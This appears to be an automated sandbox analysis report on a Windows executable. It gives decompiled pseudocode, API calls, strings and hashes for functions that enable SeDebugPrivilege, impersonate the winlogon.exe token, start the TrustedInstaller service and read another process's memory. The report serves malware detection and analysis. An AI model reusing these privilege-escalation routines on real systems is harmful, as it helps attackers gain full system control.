Associated: 0000000D.00000002.332738326.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.332751614.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Environment_wtoiwcschr$ExpandStrings$AffinityMaskProcess$PathSearchVariable_snwprintfmemcpywcscpywcslenwcsrchr
String ID: "%s" %s$16BITCOLOR$256COLOR$640X480$D$DISABLEDWM$DISABLETHEMES$HIGHDPIAWARE$RunAsInvoker$__COMPAT_LAYER
API String ID: 2452314994-435178042
Opcode ID: 067d403336562cb18e4ef95dc35e81972e5343f3ed9e099bed5cf17b41ec62b0
Instruction ID: b54a7db1e05dda42e7bfc3830e2036fe484084dd7c1f23c6c807eede0ded9d8d
Opcode Fuzzy Hash: 067d403336562cb18e4ef95dc35e81972e5343f3ed9e099bed5cf17b41ec62b0
Instruction Fuzzy Hash: 03F14F72900218AADB20EFA5CD85ADEB7B8EF04304F1045BBE619B71D1D7789A84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408533, Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 259
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00408533(void* __ecx, void* __edx, void* __eflags, char _a8, intOrPtr _a12, char _a32, WCHAR* _a40, WCHAR* _a44, intOrPtr _a48, WCHAR* _a52, WCHAR* _a56, char _a60, int _a64, char* _a68, int _a72, char _a76, int _a80, char* _a84, int _a88, long _a92, void _a94, long _a620, void _a622, char _a1132, char _a1148, WCHAR* _a3196, WCHAR* _a3200, WCHAR* _a3204, WCHAR* _a3208, void* _a3212, char _a3216, int _a5264, int _a5268, int _a5272, int _a5276, int _a5280, char _a5288, char _a5292, int _a7340, int _a7344, int _a7348, int _a7352, int _a7356) {
				char _v0;
				WCHAR* _v4;
				void* __edi;
				void* __esi;
				void* _t76;
				void* _t82;
				wchar_t* _t85;
				void* _t86;
				void* _t87;
				intOrPtr _t92;
				wchar_t* _t93;
				intOrPtr _t95;
				int _t106;
				char* _t110;
				intOrPtr _t115;
				wchar_t* _t117;
				intOrPtr _t124;
				wchar_t* _t125;
				intOrPtr _t131;
				wchar_t* _t132;
				int _t154;
				int _t156;
				void* _t159;
				intOrPtr _t162;
				void* _t177;
				void* _t178;
				void* _t179;
				intOrPtr _t181;
				int _t187;
				intOrPtr _t188;
				intOrPtr _t190;
				intOrPtr _t198;
				signed int _t205;
				signed int _t206;

				_t179 = __edx;
				_t158 = __ecx;
				_t206 = _t205 & 0xfffffff8;
				E0040B550(0x1ccc, __ecx);
				_t76 = E0040313D(_t158);
				if(_t76 != 0) {
					E0040AC52();
					SetErrorMode(0x8001); // executed
					_t156 = 0;
					 *0x40fa70 = 0x11223344;
					EnumResourceTypesW(GetModuleHandleW(0), E0040A3C1, 0); // executed
					_t82 = E00405497( &_a8);
					_a48 = 0x20;
					_a40 = 0;
					_a52 = 0;
					_a44 = 0;
					_a56 = 0;
					E004056B5(_t158, __eflags, _t82, _a12);
					E00408F48(_t158, __eflags, L"SeDebugPrivilege"); // executed
					 *_t206 = L"/SpecialRun";
					_t85 = E0040585C( &_v0);
					__eflags = _t85;
					if(_t85 != 0) {
						L8:
						_t86 = E0040585C( &_a8, L"/Run");
						__eflags = _t86 - _t156;
						if(_t86 < _t156) {
							_t87 = E0040585C( &_a8, L"/cfg");
							__eflags = _t87 - _t156;
							if(_t87 >= _t156) {
								_t162 =  *0x40fa74; // 0x4101c8
								_t41 = _t87 + 1; // 0x1
								ExpandEnvironmentStringsW(E0040584C( &_a8, _t41), _t162 + 0x5504, 0x104);
								_t115 =  *0x40fa74; // 0x4101c8
								_t117 = wcschr(_t115 + 0x5504, 0x5c);
								__eflags = _t117;
								if(_t117 == 0) {
									_a92 = _t156;
									memset( &_a94, _t156, 0x208);
									_a620 = _t156;
									memset( &_a622, _t156, 0x208);
									GetCurrentDirectoryW(0x104,  &_a92);
									_t124 =  *0x40fa74; // 0x4101c8
									_t125 = _t124 + 0x5504;
									_v4 = _t125;
									_t187 = wcslen(_t125);
									_t51 = wcslen( &_a92) + 1; // 0x1
									__eflags = _t187 + _t51 - 0x104;
									if(_t187 + _t51 >= 0x104) {
										_a620 = _t156;
									} else {
										E00404BE4( &_a620,  &_a92, _v4);
									}
									_t131 =  *0x40fa74; // 0x4101c8
									_t132 = _t131 + 0x5504;
									__eflags = _t132;
									wcscpy(_t132,  &_a620);
								}
							}
							E00402F31(_t156);
							_t181 =  *0x40fa74; // 0x4101c8
							_pop(_t159);
							_a84 =  &_a8;
							_a76 = 0x40cb0c;
							_a88 = _t156;
							_a80 = _t156;
							E0040177C( &_a76, _t181 + 0x10, __eflags, _t156);
							_t92 =  *0x40fa74; // 0x4101c8
							__eflags =  *((intOrPtr*)(_t92 + 0x5710)) - _t156;
							if( *((intOrPtr*)(_t92 + 0x5710)) == _t156) {
								_t93 = E0040585C( &_a8, L"/savelangfile");
								__eflags = _t93;
								if(_t93 < 0) {
									E00406420();
									__imp__CoInitialize(_t156);
									_t95 =  *0x40fa74; // 0x4101c8
									E00408910(_t95 + 0x10, _t159, 0x416f60);
									 *((intOrPtr*)( *0x4158e0 + 8))(_t156);
									_t198 =  *0x40fa74; // 0x4101c8
									E00408910(0x416f60, 0x4158e0, _t198 + 0x10);
									E00402F31(1);
									__imp__CoUninitialize();
								} else {
									E004065BE(_t159);
								}
								goto L7;
							} else {
								_t64 = _t92 + 0x10; // 0x4101d8
								_a7356 = _t156;
								_a7352 = _t156;
								_a7340 = _t156;
								_a7344 = _t156;
								_a7348 = _t156;
								_t156 = E00401D40(_t179, _t64,  &_a5292);
								_t110 =  &_a5288;
								L6:
								E004035FB(_t110);
								L7:
								E004054B9( &_v0);
								E004099D4( &_a32);
								E004054B9( &_v0);
								_t106 = _t156;
								goto L2;
							}
						}
						_t26 = _t86 + 1; // 0x1
						_t173 = _t26;
						__eflags =  *((intOrPtr*)(E0040584C( &_a8, _t26))) - _t156;
						if(__eflags == 0) {
							E00402F31(_t156);
						} else {
							E00402FC6(_t173, __eflags, _t138);
						}
						_t188 =  *0x40fa74; // 0x4101c8
						_a68 =  &_a8;
						_a60 = 0x40cb0c;
						_a72 = _t156;
						_a64 = _t156;
						E0040177C( &_a60, _t188 + 0x10, __eflags, _t156);
						_t190 =  *0x40fa74; // 0x4101c8
						_a5280 = _t156;
						_a5276 = _t156;
						_a5264 = _t156;
						_a5268 = _t156;
						_a5272 = _t156;
						_t156 = E00401D40(_t179, _t190 + 0x10,  &_a3216);
						_t110 =  &_a3212;
						goto L6;
					}
					__eflags = _a56 - 3;
					if(_a56 != 3) {
						goto L8;
					}
					__eflags = 1;
					_a3212 = 0;
					_a3208 = 0;
					_a3196 = 0;
					_a3200 = 0;
					_a3204 = 0;
					_v4 = 0;
					_v0 = 0;
					swscanf(E0040584C( &_v0, 1), L"%I64x",  &_v4);
					_t177 = 2;
					_push(E0040584C( &_v0, _t177));
					L0040B1F8();
					_pop(_t178);
					_t154 = E00401AC9(_t178, _t179, __eflags,  &_a1148, _v4, _v0, _t152); // executed
					_t156 = _t154;
					_t110 =  &_a1132;
					goto L6;
				} else {
					_t106 = _t76 + 1;
					L2:
					return _t106;
				}
			}

0x00408533
0x00408533
0x00408536
0x0040853e
0x00408546
0x0040854d
0x00408559
0x00408563
0x00408569
0x00408572
0x00408583
0x0040858d
0x00408595
0x0040859e
0x004085a2
0x004085a6
0x004085aa
0x004085ae
0x004085b8
0x004085c1
0x004085c8
0x004085cd
0x004085cf
0x0040867f
0x00408688
0x0040868d
0x0040868f
0x00408730
0x00408735
0x00408737
0x0040873d
0x00408750
0x0040875d
0x00408763
0x00408770
0x00408775
0x00408779
0x0040878b
0x00408790
0x004087a2
0x004087aa
0x004087b8
0x004087be
0x004087c3
0x004087c9
0x004087d2
0x004087df
0x004087e3
0x004087e6
0x00408801
0x004087e8
0x004087f8
0x004087fe
0x00408811
0x00408816
0x00408816
0x0040881c
0x00408822
0x00408779
0x00408824
0x00408829
0x00408833
0x00408834
0x00408840
0x00408848
0x0040884c
0x00408850
0x00408855
0x0040885a
0x00408860
0x004088ac
0x004088b1
0x004088b3
0x004088bf
0x004088c5
0x004088cb
0x004088da
0x004088ea
0x004088ed
0x004088f8
0x004088ff
0x00408905
0x004088b5
0x004088b5
0x004088b5
0x00000000
0x00408862
0x00408862
0x0040886d
0x00408874
0x0040887b
0x00408882
0x00408889
0x00408895
0x00408897
0x00408658
0x00408658
0x0040865d
0x00408661
0x0040866a
0x00408673
0x00408678
0x00000000
0x00408678
0x00408860
0x00408695
0x00408695
0x0040869f
0x004086a2
0x004086af
0x004086a4
0x004086a7
0x004086a7
0x004086b4
0x004086bf
0x004086cb
0x004086d3
0x004086d7
0x004086db
0x004086e0
0x004086f1
0x004086f8
0x004086ff
0x00408706
0x0040870d
0x00408719
0x0040871b
0x00000000
0x0040871b
0x004085d5
0x004085da
0x00000000
0x00000000
0x004085ec
0x004085ef
0x004085f6
0x004085fd
0x00408604
0x0040860b
0x00408612
0x00408616
0x00408620
0x0040862a
0x00408632
0x00408633
0x00408638
0x0040864a
0x0040864f
0x00408651
0x00000000
0x0040854f
0x0040854f
0x00408550
0x00408556
0x00408556

APIs

Part of subcall function 0040313D: LoadLibraryW.KERNEL32(comctl32.dll,00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 0040315C
Part of subcall function 0040313D: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 0040316E
Part of subcall function 0040313D: FreeLibrary.KERNEL32(00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00403182
Part of subcall function 0040313D: MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 004031AD

SetErrorMode.KERNELBASE(00008001,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00408563
GetModuleHandleW.KERNEL32(00000000,0040A3C1,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 0040857C
EnumResourceTypesW.KERNEL32 ref: 00408583
swscanf.MSVCRT ref: 00408620
_wtoi.MSVCRT ref: 00408633

Strings

%I64x, xrefs: 004085E7
`oA, xrefs: 004088D0
XA, xrefs: 004088E5
SeDebugPrivilege, xrefs: 004085B3
/cfg, xrefs: 00408727
/savelangfile, xrefs: 004088A3
, xrefs: 00408595
/Run, xrefs: 0040867F

Memory Dump Source

Source File: 0000000D.00000002.332706660.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.332694272.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332729496.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332738326.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.332751614.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Library$AddressEnumErrorFreeHandleLoadMessageModeModuleProcResourceTypes_wtoiswscanf
String ID: $%I64x$/Run$/cfg$/savelangfile$SeDebugPrivilege$`oA$XA
API String ID: 3933224404-3784219877
Opcode ID: 09c11c85140e2dc0a2d539678250e4bdf5192368ee7cdfd4c31c34b131dbb70b
Instruction ID: 6a1ad454fb11d14b300c4ed281ce3bcdfe782ea4983c0409628bf6e0aeb57f2c
Opcode Fuzzy Hash: 09c11c85140e2dc0a2d539678250e4bdf5192368ee7cdfd4c31c34b131dbb70b
Instruction Fuzzy Hash: 7FA16F71508340DBD720EF65DD8599BB7E8FB88308F50493FF588A3292DB3899098F5A

Uniqueness

Uniqueness Score: -1.00%

Function 00409921, Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 29
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409921(struct HINSTANCE__** __esi) {
				void* _t6;
				struct HINSTANCE__* _t7;
				_Unknown_base(*)()* _t12;
				CHAR* _t13;
				intOrPtr* _t17;

				if( *__esi == 0) {
					_t7 = E00405436(L"psapi.dll"); // executed
					 *_t17 = "GetModuleBaseNameW";
					 *__esi = _t7;
					__esi[1] = GetProcAddress(_t7, _t13);
					__esi[2] = GetProcAddress( *__esi, "EnumProcessModules");
					__esi[4] = GetProcAddress( *__esi, "GetModuleFileNameExW");
					__esi[5] = GetProcAddress( *__esi, "EnumProcesses");
					_t12 = GetProcAddress( *__esi, "GetModuleInformation");
					__esi[3] = _t12;
					return _t12;
				}
				return _t6;
			}

0x00409924
0x0040992c
0x00409937
0x0040993f
0x0040994a
0x00409956
0x00409962
0x0040996e
0x00409971
0x00409973
0x00000000
0x00409976
0x00409977

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,psapi.dll), ref: 00409941
GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 0040994D
GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00409959
GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00409965
GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00409971

Strings

EnumProcessModules, xrefs: 00409943
psapi.dll, xrefs: 00409927
GetModuleBaseNameW, xrefs: 00409937
EnumProcesses, xrefs: 0040995B
GetModuleInformation, xrefs: 00409967
GetModuleFileNameExW, xrefs: 0040994F

Memory Dump Source

Source File: 0000000D.00000002.332706660.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.332694272.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332729496.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332738326.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.332751614.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$LibraryLoad$memsetwcscat
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
API String ID: 1529661771-70141382
Opcode ID: 5bb6ae9af13ee73b8e972736f9e45c56a416d8eed90bd4e1aed24245ad07e366
Instruction ID: 092d130926b261125bd3b69643a6c94717898c68ce40be050c227dd31faca138
Opcode Fuzzy Hash: 5bb6ae9af13ee73b8e972736f9e45c56a416d8eed90bd4e1aed24245ad07e366
Instruction Fuzzy Hash: C7F0D4B4D40704AECB306FB59C09E16BAE1EFA8700B614D3EE0C1A3290D7799044CF48

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2C6, Relevance: 18.1, APIs: 12, Instructions: 134COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,0040C390,00000070), ref: 0040B2D5
__set_app_type.MSVCRT ref: 0040B334
__p__fmode.MSVCRT ref: 0040B349
__p__commode.MSVCRT ref: 0040B357
__setusermatherr.MSVCRT ref: 0040B383
_initterm.MSVCRT ref: 0040B399
__wgetmainargs.KERNELBASE ref: 0040B3BC
_initterm.MSVCRT ref: 0040B3CF
GetStartupInfoW.KERNEL32(?), ref: 0040B42C
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0040B452
exit.KERNELBASE ref: 0040B469
_cexit.MSVCRT ref: 0040B46F

Memory Dump Source

Source File: 0000000D.00000002.332706660.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.332694272.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332729496.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332738326.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.332751614.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleModule_initterm$InfoStartup__p__commode__p__fmode__set_app_type__setusermatherr__wgetmainargs_cexitexit
String ID:
API String ID: 2827331108-0
Opcode ID: 480d2f0d1e59e5c54fd79cbec4a7142595e90bf4a66800abf037708ca1cfab7b
Instruction ID: dde25c0b0dc41f5004a610fd87b0135bea3e3095e736c0cca49ec984ade2cc6a
Opcode Fuzzy Hash: 480d2f0d1e59e5c54fd79cbec4a7142595e90bf4a66800abf037708ca1cfab7b
Instruction Fuzzy Hash: 3D519E71C50604DBCB20AFA4D9889AD77B4FB04710F60823BE861B72D2D7394D82CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00401AC9, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00401AC9(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, void* _a8, void* _a12, void* _a16) {
				long _v8;
				int _v12;
				intOrPtr _v16;
				int _v20;
				int _v24;
				char _v28;
				void _v538;
				char _v540;
				int _v548;
				char _v564;
				char _v22292;
				void* __edi;
				void* __esi;
				void* _t37;
				int _t43;
				int _t45;
				void* _t48;
				void* _t56;
				signed int _t57;
				long _t61;
				void* _t67;
				long _t69;
				void* _t70;
				void* _t72;
				void* _t74;
				void* _t76;

				_t67 = __edx;
				E0040B550(0x5714, __ecx);
				_t37 = OpenProcess(0x10, 0, _a16);
				_t82 = _t37;
				_a16 = _t37;
				if(_t37 == 0) {
					_t69 = GetLastError();
				} else {
					_t72 =  &_v22292;
					E0040171F(_t72, _t82);
					_v8 = 0;
					_t43 = ReadProcessMemory(_a16, _a8, _t72, 0x54f4,  &_v8); // executed
					if(_t43 == 0) {
						_t69 = GetLastError();
					} else {
						_t48 = E00405642( &_v564);
						_t74 = _v548;
						_t70 = _t48;
						_a12 = _t74;
						_v540 = 0;
						memset( &_v538, 0, 0x1fe);
						asm("cdq");
						_push(_t67);
						_push(_t74);
						_push(_t70);
						_push(L"%d  %I64x");
						_push(0xff);
						_push( &_v540);
						L0040B1EC();
						_v548 = 0;
						E004055D1( &_v540,  &_v564);
						_t16 = _t70 + 0xa; // 0xa
						_t68 = _t16;
						_v24 = 0;
						_v12 = 0;
						_v20 = 0;
						_v16 = 0x100;
						_v28 = 0;
						E0040559A( &_v28, _t16);
						_t76 = _v12;
						_t56 = 0x40c4e8;
						if(_t76 != 0) {
							_t56 = _t76;
						}
						_t26 = _t70 + 2; // 0x2
						_t66 = _t70 + _t26;
						_t57 = ReadProcessMemory(_a16, _a12, _t56, _t70 + _t26,  &_v8); // executed
						_t85 = _t76;
						if(_t76 == 0) {
							_t76 = 0x40c4e8;
						}
						E004055F9(_t57 | 0xffffffff,  &_v564, _t76);
						_t61 = E004022D5(_t66, _t68, _t85, _a4,  &_v22292); // executed
						_t69 = _t61;
						E004055D1(_t61,  &_v28);
					}
					_t45 = FindCloseChangeNotification(_a16); // executed
					E004055D1(_t45,  &_v564);
				}
				return _t69;
			}

0x00401ac9
0x00401ad1
0x00401ae1
0x00401ae7
0x00401ae9
0x00401aec
0x00401c1b
0x00401af2
0x00401af2
0x00401af8
0x00401b0c
0x00401b12
0x00401b1a
0x00401bfd
0x00401b20
0x00401b26
0x00401b2b
0x00401b36
0x00401b40
0x00401b43
0x00401b4a
0x00401b54
0x00401b55
0x00401b56
0x00401b57
0x00401b58
0x00401b63
0x00401b68
0x00401b69
0x00401b77
0x00401b7d
0x00401b82
0x00401b82
0x00401b88
0x00401b8b
0x00401b8e
0x00401b91
0x00401b98
0x00401b9b
0x00401ba0
0x00401ba5
0x00401baa
0x00401bac
0x00401bac
0x00401bb2
0x00401bb2
0x00401bbe
0x00401bc4
0x00401bc6
0x00401bc8
0x00401bc8
0x00401bd7
0x00401be6
0x00401bee
0x00401bf0
0x00401bf0
0x00401c02
0x00401c0e
0x00401c0e
0x00401c23

APIs

OpenProcess.KERNEL32(00000010,00000000,0040864F,00000000,?,00000000,?,0040864F,?,?,?,00000000), ref: 00401AE1
ReadProcessMemory.KERNELBASE(0040864F,?,?,000054F4,00000000,?,0040864F,?,?,?,00000000), ref: 00401B12
memset.MSVCRT ref: 00401B4A
ReadProcessMemory.KERNELBASE(?,?,0040C4E8,00000002,00000000), ref: 00401BBE
_snwprintf.MSVCRT ref: 00401B69

Part of subcall function 004055D1: free.MSVCRT(?,00405843,00000000,?,00000000), ref: 004055DA

Part of subcall function 0040559A: free.MSVCRT(?,00000000,?,004057E1,00000000,?,00000000), ref: 004055AA

GetLastError.KERNEL32(?,0040864F,?,?,?,00000000), ref: 00401BF7
FindCloseChangeNotification.KERNELBASE(0040864F,?,0040864F,?,?,?,00000000), ref: 00401C02
GetLastError.KERNEL32(?,0040864F,?,?,?,00000000), ref: 00401C15

Strings

%d %I64x, xrefs: 00401B58

Memory Dump Source

Source File: 0000000D.00000002.332706660.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.332694272.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332729496.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332738326.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.332751614.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$ErrorLastMemoryReadfree$ChangeCloseFindNotificationOpen_snwprintfmemset
String ID: %d %I64x
API String ID: 1126726007-2565891505
Opcode ID: 0e39567e62c21eb8595adf136d2f138d4fded52a6135c8fa9db2ff03bc4b818b
Instruction ID: f77edfd559f5df329b7cfb23e65bd27f477c8a0de7d8607e39e5f26d9e4a317c
Opcode Fuzzy Hash: 0e39567e62c21eb8595adf136d2f138d4fded52a6135c8fa9db2ff03bc4b818b
Instruction Fuzzy Hash: FE312A72900519EBDB10EF959C859EE7779EF44304F40057AF504B3291DB349E45CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00401F04, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401F04(void* __edx, intOrPtr _a4) {
				int _v8;
				void _v538;
				long _v540;
				void _v1066;
				char _v1068;
				long _t30;
				int _t33;
				int _t39;
				void* _t42;
				void* _t45;
				long _t49;

				_t45 = __edx;
				_v540 = 0;
				memset( &_v538, 0, 0x208);
				_v1068 = 0;
				memset( &_v1066, 0, 0x208);
				E00404C3C( &_v540);
				_t48 = L"winlogon.exe";
				_t39 = wcslen(L"winlogon.exe");
				_t8 = wcslen( &_v540) + 1; // 0x1
				_t53 = _t39 + _t8 - 0x104;
				_pop(_t42);
				if(_t39 + _t8 >= 0x104) {
					_v1068 = 0;
				} else {
					E00404BE4( &_v1068,  &_v540, _t48);
					_pop(_t42);
				}
				_v8 = 0;
				_t30 = E00401DF9(_t45, _t53, _a4,  &_v1068,  &_v8); // executed
				_t49 = _t30;
				_t54 = _t49;
				if(_t49 == 0) {
					E00408F48(_t42, _t54, L"SeImpersonatePrivilege"); // executed
					_t33 = ImpersonateLoggedOnUser(_v8); // executed
					if(_t33 == 0) {
						_t49 = GetLastError();
					}
					CloseHandle(_v8);
				}
				return _t49;
			}

APIs

memset.MSVCRT ref: 00401F27
memset.MSVCRT ref: 00401F3F

Part of subcall function 00404C3C: GetSystemDirectoryW.KERNEL32(0041C6D0,00000104), ref: 00404C52
Part of subcall function 00404C3C: wcscpy.MSVCRT ref: 00404C62

wcslen.MSVCRT ref: 00401F5A
wcslen.MSVCRT ref: 00401F69
ImpersonateLoggedOnUser.KERNELBASE(?,0040218D,?,?,?,?,?,?,?,00000000), ref: 00401FC2
GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 00401FCC
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000), ref: 00401FD7

Part of subcall function 00404BE4: wcscpy.MSVCRT ref: 00404BEC
Part of subcall function 00404BE4: wcscat.MSVCRT ref: 00404BFB

Strings

winlogon.exe, xrefs: 00401F54, 00401F59, 00401F80
SeImpersonatePrivilege, xrefs: 00401FB4

Memory Dump Source

Source File: 0000000D.00000002.332706660.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.332694272.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332729496.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332738326.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.332751614.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memsetwcscpywcslen$CloseDirectoryErrorHandleImpersonateLastLoggedSystemUserwcscat
String ID: SeImpersonatePrivilege$winlogon.exe
API String ID: 3867304300-2177360481
Opcode ID: b9815b26473cd7491ae288f5076cf4125b88922a7fa2441dfc3ee00491751d6f
Instruction ID: dcc5dec8953379ec1552ef046485534b93905478987a0ec3c51696e6dc85d708
Opcode Fuzzy Hash: b9815b26473cd7491ae288f5076cf4125b88922a7fa2441dfc3ee00491751d6f
Instruction Fuzzy Hash: 48214F72940118AACB20A795DC899DFB7BCDF54354F5001BBF608F2191EB345A848BAC

Uniqueness

Uniqueness Score: -1.00%

Function 00401306, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38
serviceCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401306(void* _a4) {
				intOrPtr _v28;
				struct _SERVICE_STATUS _v32;
				void* _t5;
				int _t9;
				int _t12;
				void* _t14;

				_t12 = 0; // executed
				_t5 = OpenServiceW(_a4, L"TrustedInstaller", 0x34); // executed
				_t14 = _t5;
				if(_t14 != 0) {
					_t9 = QueryServiceStatus(_t14,  &_v32); // executed
					if(_t9 != 0 && _v28 != 4) {
						_t12 = StartServiceW(_t14, 0, 0);
					}
					CloseServiceHandle(_t14);
				}
				CloseServiceHandle(_a4);
				return _t12;
			}

0x00401319
0x0040131b
0x00401327
0x0040132b
0x00401332
0x0040133a
0x0040134b
0x0040134b
0x0040134e
0x0040134e
0x00401353
0x0040135b

APIs

OpenServiceW.ADVAPI32(00402183,TrustedInstaller,00000034,?,?,00000000,?,?,?,?,?,00402183,00000000), ref: 0040131B
QueryServiceStatus.ADVAPI32(00000000,?,?,?,?,?,?,00402183,00000000), ref: 00401332
StartServiceW.ADVAPI32(00000000,00000000,00000000), ref: 00401345
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,00402183,00000000), ref: 0040134E
CloseServiceHandle.ADVAPI32(00402183,?,?,?,?,?,00402183,00000000), ref: 00401353

Strings

TrustedInstaller, xrefs: 00401311

Memory Dump Source

Source File: 0000000D.00000002.332706660.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.332694272.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332729496.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332738326.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.332751614.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Service$CloseHandle$OpenQueryStartStatus
String ID: TrustedInstaller
API String ID: 862991418-565535830
Opcode ID: e275db5ffe703eced9a7585420ea8a7e70def606d9c8162886671e7be63d83f8
Instruction ID: 300c39592a487ff017dde1f9aaf4b69bffecac74e3568357a1b40912e0f2caec
Opcode Fuzzy Hash: e275db5ffe703eced9a7585420ea8a7e70def606d9c8162886671e7be63d83f8
Instruction Fuzzy Hash: F9F08275601218FBE7222BE59CC8DAF7A6CDF88794B040132FD01B12A0D674DD05C9F9

Uniqueness

Uniqueness Score: -1.00%

Function 00409555, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27
libraryloadertimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409555(void* _a4, struct _FILETIME* _a8, struct _FILETIME* _a12, struct _FILETIME* _a16, struct _FILETIME* _a20) {
				int _t8;
				struct HINSTANCE__* _t9;

				if( *0x41c8e8 == 0) {
					_t9 = GetModuleHandleW(L"kernel32.dll");
					if(_t9 != 0) {
						 *0x41c8e8 = 1;
						 *0x41c8ec = GetProcAddress(_t9, "GetProcessTimes");
					}
				}
				if( *0x41c8ec == 0) {
					return 0;
				} else {
					_t8 = GetProcessTimes(_a4, _a8, _a12, _a16, _a20); // executed
					return _t8;
				}
			}

0x0040955f
0x00409566
0x0040956e
0x00409576
0x00409586
0x00409586
0x0040956e
0x00409592
0x004095aa
0x00409594
0x004095a3
0x004095a6
0x004095a6

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00409764,00000000,?,?,?,00401DD3,00000000,?), ref: 00409566
GetProcAddress.KERNEL32(00000000,GetProcessTimes), ref: 00409580
GetProcessTimes.KERNELBASE(00000000,00401DD3,?,?,?,?,00409764,00000000,?,?,?,00401DD3,00000000,?), ref: 004095A3

Strings

GetProcessTimes, xrefs: 00409570
kernel32.dll, xrefs: 00409561

Memory Dump Source

Source File: 0000000D.00000002.332706660.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.332694272.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332729496.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332738326.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.332751614.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProcProcessTimes
String ID: GetProcessTimes$kernel32.dll
API String ID: 1714573020-3385500049
Opcode ID: 7c908c3a013f4f9010f7eee84109228e73c5ea75ed64b39a480063120f72be39
Instruction ID: 684c615278f70e6dc9f1b796aa494e436c9634249af5aea594c4fe29f2bd0140
Opcode Fuzzy Hash: 7c908c3a013f4f9010f7eee84109228e73c5ea75ed64b39a480063120f72be39
Instruction Fuzzy Hash: 51F0C031680209EFDF019FE5ED85B9A3BE9EB44705F008535F908E12A1D7758960EB58

Uniqueness

Uniqueness Score: -1.00%

Function 00404951, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 38
COMMON

